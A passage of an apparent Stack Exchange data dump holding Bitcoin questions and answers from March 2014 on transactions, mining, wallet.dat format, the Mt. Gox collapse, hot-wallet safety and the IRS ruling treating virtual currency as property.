  <row Id="23954" PostTypeId="2" ParentId="17545" CreationDate="2014-03-25T08:17:22.730" Score="1" Body="&lt;p&gt;A typical bitcoin transaction is made up of inputs and outputs. Unspent coins from previous outputs are reference by the inputs. These coins are pooled, then redistributed to the outputs, which now represent the same number of unspent coins (minus fees).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inputs reference the unspent coins by the transaction hash and the index of the output that's being redeemed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you can have as many inputs and outputs as you want -- in theory, you could write a transaction that references every coin in existence, and redistributes it to ten million new addresses -- in practice, most transactions only have one output (the recipient) or two outputs (the recipient and the &quot;change&quot; address), so &quot;n&quot; is usually -- but not always -- 0 or 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you look at &lt;a href=&quot;https://blockchain.info/tx/017ee876b7078170066da40894b291e496dc09b7fb3edff4e2e7e8262545c7b1?format=json&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/017ee876b7078170066da40894b291e496dc09b7fb3edff4e2e7e8262545c7b1?format=json&lt;/a&gt; you can see the &quot;n&quot; value in the sole &quot;prev_out&quot; dictionary is 170. That's because this transaction is spending coins that came from a prior transaction with 170 or more outputs.&lt;/p&gt;&#xA;" OwnerUserId="12919" LastActivityDate="2014-03-25T08:17:22.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23955" PostTypeId="2" ParentId="23899" CreationDate="2014-03-25T08:34:04.183" Score="0" Body="&lt;p&gt;In a bitcoin transaction, the coins from the inputs are added together into a pool, and then sent to the outputs. There isn't a notion of particular coins; just a total number of coins.&lt;/p&gt;&#xA;" OwnerUserId="12919" LastActivityDate="2014-03-25T08:34:04.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23956" PostTypeId="2" ParentId="23804" CreationDate="2014-03-25T08:50:07.450" Score="1" Body="&lt;p&gt;Expiring a txout doesn't really make sense, since it would destroy the coins, and there is no way to destroy coins. (Coins not spoken for by any txout are contributed as fees.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create a transaction with a lock_time in the future that sends the coins to another bitcoin address. If you give this transaction to a counterparty, they would then have the option to broadcast the transaction to the network after it becomes due, and it would take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before that time, you could create another transaction without the lock_time restriction, move the coins, and make the counterparty's transaction useless.&lt;/p&gt;&#xA;" OwnerUserId="12919" LastActivityDate="2014-03-25T08:50:07.450" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="23957" PostTypeId="1" AcceptedAnswerId="24015" CreationDate="2014-03-25T11:29:06.410" Score="0" ViewCount="2114" Body="&lt;p&gt;I thought it was the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block maturity - number of blocks created after. &#xA;Transaction maturity - maturity of block that contain transaction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I see that people use this terms as different. What is the difference?&lt;/p&gt;&#xA;" OwnerUserId="6395" LastActivityDate="2014-03-26T19:55:18.307" Title="Transaction Maturity vs Block maturity" Tags="|transactions|block|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23962" PostTypeId="1" CreationDate="2014-03-25T13:23:47.723" Score="2" ViewCount="161" Body="&lt;p&gt;By now, 25/03/2014, you can view your funds on the Mt. Gox website. I have some euro's parked over there. Is there a way to transfer them. Is there a procedure you can follow?&lt;/p&gt;&#xA;" OwnerUserId="14815" LastActivityDate="2014-03-25T13:31:23.907" Title="transfer funds from Mt.Gox after the crash of 2014" Tags="|mtgox|funds|money-transfer|" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-26T03:50:22.713" ContentLicense="CC BY-SA 3.0" />
  <row Id="23963" PostTypeId="2" ParentId="23962" CreationDate="2014-03-25T13:31:23.907" Score="1" Body="&lt;p&gt;Short answer: No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MtGox assets are currently frozen and they have lost a lot of customer funds, both fiat and Bitcoin. Until further notice you can consider your euros lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contact your lawyer and ask them to write a claim to official MtGox address. Also some local Bitcoin communities are preparing class-action (or similar) lawsuits against MtGox and its subsidiaries.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-03-25T13:31:23.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23964" PostTypeId="1" CreationDate="2014-03-25T14:13:23.653" Score="2" ViewCount="866" Body="&lt;p&gt;There are many crypto currencies now, BTC, LTC, MTC, Potcoin and so on. Each of these have their own wallet.dat files used by the client software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Do all these crypto currencies make use of the same format of wallet.dat file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pywallet.py can be used to dump the keys from a BTC wallet.dat file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can pywallet.py also be used to dump the information from a wallet of an alternate crypto currency like LTC/MTC and so on?&lt;/p&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2017-10-19T12:10:32.627" Title="Do all Crypto Coins use the same Wallet Format?" Tags="|wallet|wallet.dat|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23966" PostTypeId="2" ParentId="23964" CreationDate="2014-03-25T15:29:25.830" Score="2" Body="&lt;p&gt;The wallet.dat is a Berkeley DB file.&#xA;You can parse it using following command (You need to install Berkeley DB on your unix environement first)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db_dump wallet.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I checked for Bitcoin and Litecoin and in both case the wallet.dat was using the same version of Berkeley DB.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VERSION=3&#xA;format=bytevalue&#xA;database=main&#xA;type=btree&#xA;db_pagesize=4096&#xA;HEADER=END&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't try pywallet.py but I guess it should work for all these Bitcoin derived altcoins.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastActivityDate="2014-03-25T15:29:25.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23967" PostTypeId="2" ParentId="22532" CreationDate="2014-03-25T15:57:07.180" Score="3" Body="&lt;p&gt;From this discussion: &lt;a href=&quot;https://groups.google.com/forum/#!topic/bitcoinj/CycE9YTS7Bs&quot; rel=&quot;nofollow&quot;&gt;How to create a checkpoint file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run &lt;code&gt;mvn exec:java -Dexec.mainClass=com.google.bitcoin.tools.BuildCheckpoints&lt;/code&gt; in the tools/ directory from the &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;bitcoinj repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BuildCheckpoints expects you to have a fully synced local Bitcoin-Qt/bitcoind instance running.&lt;/p&gt;&#xA;" OwnerUserId="13267" LastActivityDate="2014-03-25T15:57:07.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23968" PostTypeId="2" ParentId="20518" CreationDate="2014-03-25T17:31:33.163" Score="1" Body="&lt;p&gt;The proof of work that miners do is a double sha256 hash on 80 bytes of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do the 80 bytes come from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are build from enough data to describe the current block (and the transactions it contains) and a pointer to the previous block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To wit:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;4 bytes version number&lt;/li&gt;&#xA;&lt;li&gt;32 bytes hash of the previous block&lt;/li&gt;&#xA;&lt;li&gt;32 bytes Merkle root of all the transactions contained in this block&lt;/li&gt;&#xA;&lt;li&gt;4 bytes timestamp&lt;/li&gt;&#xA;&lt;li&gt;4 bytes current difficulty target&lt;/li&gt;&#xA;&lt;li&gt;4 bytes nonce&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These 80 bytes are concatenated and have the shit sha'd out of them until the required difficult is reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14820" LastEditorUserId="14820" LastEditDate="2014-03-25T19:53:36.270" LastActivityDate="2014-03-25T19:53:36.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23969" PostTypeId="1" AcceptedAnswerId="23970" CreationDate="2014-03-25T18:26:13.813" Score="2" ViewCount="790" Body="&lt;p&gt;Is there any pool where I can complete mining work for a mining pool via and http requests? Some sort of API? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have access to a lot of computational power that I want to route to a mining pool using php..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) visit url (including login details)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) response includes mining work/problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) visit different url to submit completed work and have tiny payout from pool&lt;/p&gt;&#xA;" OwnerUserId="14822" LastEditorUserId="5406" LastEditDate="2016-04-25T16:26:04.030" LastActivityDate="2016-04-25T16:26:04.030" Title="Http Requests Bitcoin Mining Pool?" Tags="|api|php|webminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23970" PostTypeId="2" ParentId="23969" CreationDate="2014-03-25T19:38:52.467" Score="1" Body="&lt;p&gt;One of the key aspects of a mining protocol is that the miners should be informed immediately when a new block is confirmed on the network. Otherwise, they will continue working on the old block which would then be useless work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why there is not a simple GET/POST protocol for mining. The miners keep a connection open to the pool servers, so that there can be immediate two-way communication between them (from the miner for the case of a share completed, or from the server in the case of a new block).&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-25T19:38:52.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23971" PostTypeId="2" ParentId="12826" CreationDate="2014-03-25T20:01:21.640" Score="2" Body="&lt;p&gt;In the USA, Bitcoin earnings are treated like property.  &lt;a href=&quot;http://www.irs.gov/uac/Newsroom/IRS-Virtual-Currency-Guidance&quot; rel=&quot;nofollow noreferrer&quot;&gt;The full announcement is here:&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Virtual Currency Is Treated as Property for U.S. Federal Tax Purposes; General Rules for Property Transactions Apply&lt;/strong&gt; IR-2014-36,&lt;/p&gt;&#xA;&lt;p&gt;March. 25, 2014 WASHINGTON —&lt;/p&gt;&#xA;&lt;p&gt;The Internal Revenue Service today issued&#xA;a notice providing answers to frequently asked questions (FAQs) on&#xA;virtual currency, such as bitcoin. These FAQs provide basic&#xA;information on the U.S. federal tax implications of transactions in,&#xA;or transactions that use, virtual currency.&lt;/p&gt;&#xA;&lt;p&gt;In some environments,&#xA;virtual currency operates like “real” currency -- i.e., the coin and&#xA;paper money of the United States or of any other country that is&#xA;designated as legal tender, circulates, and is customarily used and&#xA;accepted as a medium of exchange in the country of issuance -- but it&#xA;does not have legal tender status in any jurisdiction.&lt;/p&gt;&#xA;&lt;p&gt;The notice&#xA;provides that virtual currency is treated as property for U.S. federal&#xA;tax purposes.  General tax principles that apply to property&#xA;transactions apply to transactions using virtual currency.  Among&#xA;other things, this means that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Wages paid to employees using virtual currency are taxable to the employee, must be reported by an employer  on a Form W-2, and are subject to federal income tax withholding and&#xA;payroll taxes.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Payments using virtual currency made to independent contractors and other service providers are taxable and&#xA;self-employment tax rules generally apply.  Normally, payers must&#xA;issue Form 1099.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The character of gain or loss from the sale or&#xA;exchange of virtual currency depends on whether the virtual currency&#xA;is a capital asset in the hands of the taxpayer.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A payment made using&#xA;virtual currency is subject to information reporting to the same&#xA;extent as any other payment made in property.&lt;/p&gt;&#xA;&lt;p&gt;Further details,&#xA;including a set of 16 questions and answers, are in Notice 2014-21,&#xA;posted today on IRS.gov.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-03-25T20:01:21.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23973" PostTypeId="2" ParentId="7451" CreationDate="2014-03-25T20:34:14.917" Score="0" Body="&lt;p&gt;In the USA, Bitcoin earnings are treated like property.  &lt;a href=&quot;http://www.irs.gov/uac/Newsroom/IRS-Virtual-Currency-Guidance&quot; rel=&quot;nofollow noreferrer&quot;&gt;The full announcement is here:&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Virtual Currency Is Treated as Property for U.S. Federal Tax Purposes; General Rules for Property Transactions Apply&lt;/strong&gt; IR-2014-36,&lt;/p&gt;&#xA;&lt;p&gt;March. 25, 2014 WASHINGTON —&lt;/p&gt;&#xA;&lt;p&gt;The Internal Revenue Service today issued&#xA;a notice providing answers to frequently asked questions (FAQs) on&#xA;virtual currency, such as bitcoin. These FAQs provide basic&#xA;information on the U.S. federal tax implications of transactions in,&#xA;or transactions that use, virtual currency.&lt;/p&gt;&#xA;&lt;p&gt;In some environments,&#xA;virtual currency operates like “real” currency -- i.e., the coin and&#xA;paper money of the United States or of any other country that is&#xA;designated as legal tender, circulates, and is customarily used and&#xA;accepted as a medium of exchange in the country of issuance -- but it&#xA;does not have legal tender status in any jurisdiction.&lt;/p&gt;&#xA;&lt;p&gt;The notice&#xA;provides that virtual currency is treated as property for U.S. federal&#xA;tax purposes.  General tax principles that apply to property&#xA;transactions apply to transactions using virtual currency.  Among&#xA;other things, this means that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Wages paid to employees using virtual currency are taxable to the employee, must be reported by an employer  on a Form W-2, and are subject to federal income tax withholding and&#xA;payroll taxes.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Payments using virtual currency made to independent contractors and other service providers are taxable and&#xA;self-employment tax rules generally apply.  Normally, payers must&#xA;issue Form 1099.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The character of gain or loss from the sale or&#xA;exchange of virtual currency depends on whether the virtual currency&#xA;is a capital asset in the hands of the taxpayer.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A payment made using&#xA;virtual currency is subject to information reporting to the same&#xA;extent as any other payment made in property.&lt;/p&gt;&#xA;&lt;p&gt;Further details,&#xA;including a set of 16 questions and answers, are in Notice 2014-21,&#xA;posted today on IRS.gov.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-03-25T20:34:14.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23974" PostTypeId="5" CreationDate="2014-03-25T21:11:11.230" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-25T21:11:11.230" LastActivityDate="2014-03-25T21:11:11.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23975" PostTypeId="4" CreationDate="2014-03-25T21:11:11.230" Score="0" Body="Questions about Ripple are off-topic. Gateways are entities in the Ripple network that provide an entry point to the network by accepting deposits and issuing IOUs for them. " OwnerUserId="5406" LastEditorUserId="51948" LastEditDate="2019-07-23T09:33:52.717" LastActivityDate="2019-07-23T09:33:52.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23976" PostTypeId="1" CreationDate="2014-03-25T21:18:19.130" Score="1" ViewCount="314" Body="&lt;p&gt;There have been several Bitcoin exchanges robbed/hacked for all their Bitcoins over the past year. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the most recent being Flexcoin, and this is how they describe what happened.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The attacker then successfully exploited a flaw in the code which&#xA;  allows transfers between flexcoin users. By sending thousands of&#xA;  simultaneous requests, the attacker was able to &quot;move&quot; coins from one&#xA;  user account to another until the sending account was overdrawn,&#xA;  before balances were updated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My question is, how do we make using a hot wallet safe? Users need to be able to withdraw their funds from their accounts, but allowing them to do this opens you up for targeted attacks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone could share some insight on ways to protect against these types of attacks? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had thought of a few solutions but I noticed they have flaws in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Bob deposits coins into their deposit address and then Bob can only withdraw from the same address via the site. The problem is that Bitcoin Daemon only allows &lt;strong&gt;sendfrom  to &lt;/strong&gt; and not &lt;strong&gt;sendfrom  to &lt;/strong&gt; meaning that in order to do this you would need to create your own raw transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now normally this wouldn't be a problem, but when users fund their accounts using SharedCoin, it creates so many inputs that the size of the transaction is huge and thus requires more fees. Am I correct on this? I may be wrong.&#xA;It's also quite hard to be accurate on your account balances due to SharedCoin with so many inputs and outputs. Even Blockchain.info's account balances are sometimes incorrect due to SharedCoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) When moving coins from Bob to Alice because Alice deposited fiat currency and wants to withdraw coins to their account, funds need to be moved to another address, possibly either a central address or Alice's withdraw address. If Alice sends simultaneous requests like someone did against Flexcoin, this could cause a problem. So again, you would need to use raw transactions so that funds can ONLY be sent from ONE address that preferrably only has enough funds to satisfy the withdraw request and no more in case of an attack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I think you all get the picture and I hope we can discuss some safe ways of doing this type of hot wallet approach?&lt;/p&gt;&#xA;" OwnerUserId="14823" LastActivityDate="2014-03-25T21:18:19.130" Title="Bitcoin Daemon - How to make a safe hotwallet?" Tags="|wallet|withdrawal|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23977" PostTypeId="5" CreationDate="2014-03-25T22:17:42.357" Score="0" Body="&lt;p&gt;The &lt;strong&gt;height&lt;/strong&gt; of a block is the number of blocks in the chain between it and the genesis block of a block chain based cryptocurrency. (The genesis block has height 0.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The height of the block chain is usually taken to be the height of the highest block, in the chain with greatest total difficulty; i.e. the length of the chain minus one.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-25T22:17:42.357" LastActivityDate="2014-03-25T22:17:42.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23978" PostTypeId="4" CreationDate="2014-03-25T22:17:42.357" Score="0" Body="The height of a block is the the number of blocks between it and the genesis block." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-25T22:17:42.357" LastActivityDate="2014-03-25T22:17:42.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23979" PostTypeId="2" ParentId="23936" CreationDate="2014-03-25T22:22:41.307" Score="2" Body="&lt;p&gt;When a node learns of a transaction, some validity tests are performed and if the transaction is not yet in the blockchain it knows of with the longest height and the transaction also is valid (i.e., not a double spend) then that transaction is added to that node's memory pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a later transaction arrives at a node but is an attempt to double spending of a transaction that is either already in the blockchain with the longest height or is already in the memory pool, then that later transaction is ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction propagates to nearly all miners within seconds, so most miners would immediately reject your later double-spend attempt since they would already know of the earlier transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain forks happen all the time (i.e., multiple times each day).  So it is entirely possible to have conflicts where a transaction is included in a block on one side of the fork but is not yet in the block (or blocks) on the other side of the fork.  Eventually one of the several competing blockchain forks will emerge as the longest chain and the transactions in that chain are the ones reflected in the Bitcoin ledger from then on.  That's why exchanges wait until three or six confirmations -- as it is technically possible for there to be variations between sides should a fork occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attackers might use this temporary inconsistency in an attempt to defraud by employing a race attack or other approach.  This is requisite reading on the topic: &lt;a href=&quot;http://en.bitcoin.it/wiki/Double-spending&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Double-spending&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-03-25T22:22:41.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23980" PostTypeId="1" CreationDate="2014-03-25T22:47:26.840" Score="1" ViewCount="409" Body="&lt;p&gt;&lt;strong&gt;Issue&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As many others i am curious in addressing distributed escrow problem (not just for bitcoin). As it stands now there are no decentralised escrows. All escrow services are based on trust in the escrow. Obviously, this has certain limitations to the escrow reputation / other risks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Contracts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution often proposed are the contracts when transaction should be signed by many participants. Consequently, they will be required to find mutually beneficial solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are few problems with contracts (btw, they are not delivered for bitcoin yet, right?):&#xA;- Pure multi signature functionality will not work as an escrow (one of the parties can simply block the transaction). So, there is reliance on the third party&#xA;- This will work only within bitcoin. So, in the example of exchanging bitcoin for other digital asset (e. g. stock) automated / escrow that does not require trust among participants will work only for bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternatives&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E. g.:&#xA;Two partipants - Party A and Party B;&#xA;Party A wants to buy a stock issued in electronic form (within one of the distributed exchanges) for bitcoins. Accordingly, Party B wants to sell. They do not trust each other and there are no escrow to trust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory we can argue that solution can be something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Party A should transfer bitcoin to the escrow wallet. Otherwise Party A can cancel the coins after pledging bitcoin for stock. Party A should receive coins back assuming that other party have not transferred stock to the escrow (assuming stock represented as crypto asset)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Party B conducts similar actions to Party A&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Certain system X (ideally distributed - as there are no trust across participants) - can initiate transaction in bitcoin from escrow wallet and at the same time initiate transaction for stock. In theory this means that system X should have Private key for public address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any solutions to come up with private bitcoin key generation on distributed network? At the moment all private keys are generated on the secured PC. Consequently, are there any options on private key generation in hostile environment. E. g. Distributed private key across other participants (&lt;a href=&quot;http://en.wikipedia.org/wiki/Shamir&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Shamir&lt;/a&gt;'s_Secret_Sharing)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Maybe someone sees other solution to this problems (outside contracts space for bitcoin)? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14824" LastActivityDate="2016-02-02T22:19:46.710" Title="Decentralised escrow / distributed private key generation" Tags="|transactions|exchanges|private-key|trading|multi-signature|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23981" PostTypeId="1" CreationDate="2014-03-25T22:48:34.437" Score="1" ViewCount="59" Body="&lt;p&gt;I'm trying to find the longpoll url for my pool. I've found documentation saying that it is within the headers but I'm unable to see anything. Is there any way to retreave the url via an RPC request? or is the url something that can be easily worked out? I'm using bitcoind and eliopool.&#xA;Thanks, James.&lt;/p&gt;&#xA;" OwnerUserId="14826" LastActivityDate="2014-03-25T22:48:34.437" Title="How to obtain the longpoll url using jsonRPCClient" Tags="|bitcoind|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23982" PostTypeId="5" CreationDate="2014-03-25T22:50:22.000" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-25T22:50:22.000" LastActivityDate="2014-03-25T22:50:22.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23983" PostTypeId="4" CreationDate="2014-03-25T22:50:22.000" Score="0" Body="Refers to the schedule by which Bitcoin's mining reward is dispensed." OwnerUserId="5406" LastEditorUserId="121614" LastEditDate="2023-07-30T19:03:16.693" LastActivityDate="2023-07-30T19:03:16.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23985" PostTypeId="2" ParentId="17351" CreationDate="2014-03-25T23:47:45.667" Score="4" Body="&lt;p&gt;The IRS just issued a preliminary ruling on this and it will be treated as property.  The Q&amp;amp;A portion is particularly useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SECTION 4. FREQUENTLY ASKED QUESTIONS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-1: How is virtual currency treated for federal tax purposes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-1: For federal tax purposes, virtual currency is treated as property. General tax principles applicable to property transactions apply to transactions using virtual currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-2: Is virtual currency treated as currency for purposes of determining whether a transaction results in foreign currency gain or loss under U.S. federal tax laws?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-2: No. Under currently applicable law, virtual currency is not treated as currency that could generate foreign currency gain or loss for U.S. federal tax purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-3: Must a taxpayer who receives virtual currency as payment for goods or services include in computing gross income the fair market value of the virtual currency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-3: Yes. A taxpayer who receives virtual currency as payment for goods or services must, in computing gross income, include the fair market value of the virtual currency, measured in U.S. dollars, as of the date that the virtual currency was received. See Publication 525, Taxable and Nontaxable Income, for more information on miscellaneous income from exchanges involving property or services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-4: What is the basis of virtual currency received as payment for goods or services in Q&amp;amp;A-3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-4: The basis of virtual currency that a taxpayer receives as payment for goods or services in Q&amp;amp;A-3 is the fair market value of the virtual currency in U.S. dollars as of the date of receipt. See Publication 551, Basis of Assets, for more information on the computation of basis when property is received for goods or services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-5: How is the fair market value of virtual currency determined?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-5: For U.S. tax purposes, transactions using virtual currency must be reported in U.S. dollars. Therefore, taxpayers will be required to determine the fair market value of virtual currency in U.S. dollars as of the date of payment or receipt. If a virtual currency is listed on an exchange and the exchange rate is established by market supply and demand, the fair market value of the virtual currency is determined by converting the virtual currency into U.S. dollars (or into another real currency which in turn can be converted into U.S. dollars) at the exchange rate, in a reasonable manner that is consistently applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-6: Does a taxpayer have gain or loss upon an exchange of virtual currency for other property?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-6: Yes. If the fair market value of property received in exchange for virtual currency exceeds the taxpayer's adjusted basis of the virtual currency, the taxpayer has taxable gain. The taxpayer has a loss if the fair market value of the property received is less than the adjusted basis of the virtual currency. See Publication 544, Sales and Other Dispositions of Assets, for information about the tax treatment of sales and exchanges, such as whether a loss is deductible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-7: What type of gain or loss does a taxpayer realize on the sale or exchange of virtual currency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-7: The character of the gain or loss generally depends on whether the virtual currency is a capital asset in the hands of the taxpayer. A taxpayer generally realizes capital gain or loss on the sale or exchange of virtual currency that is a capital asset in the hands of the taxpayer. For example, stocks, bonds, and other investment property are generally capital assets. A taxpayer generally realizes ordinary gain or loss on the sale or exchange of virtual currency that is not a capital asset in the hands of the taxpayer. Inventory and other property held mainly for sale to customers in a trade or business are examples of property that is not a capital asset. See Publication 544 for more information about capital assets and the character of gain or loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q-8: Does a taxpayer who &quot;mines&quot; virtual currency (for example, uses computer resources to validate Bitcoin transactions and maintain the public Bitcoin transaction ledger) realize gross income upon receipt of the virtual currency resulting from those activities?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-8: Yes, when a taxpayer successfully &quot;mines&quot; 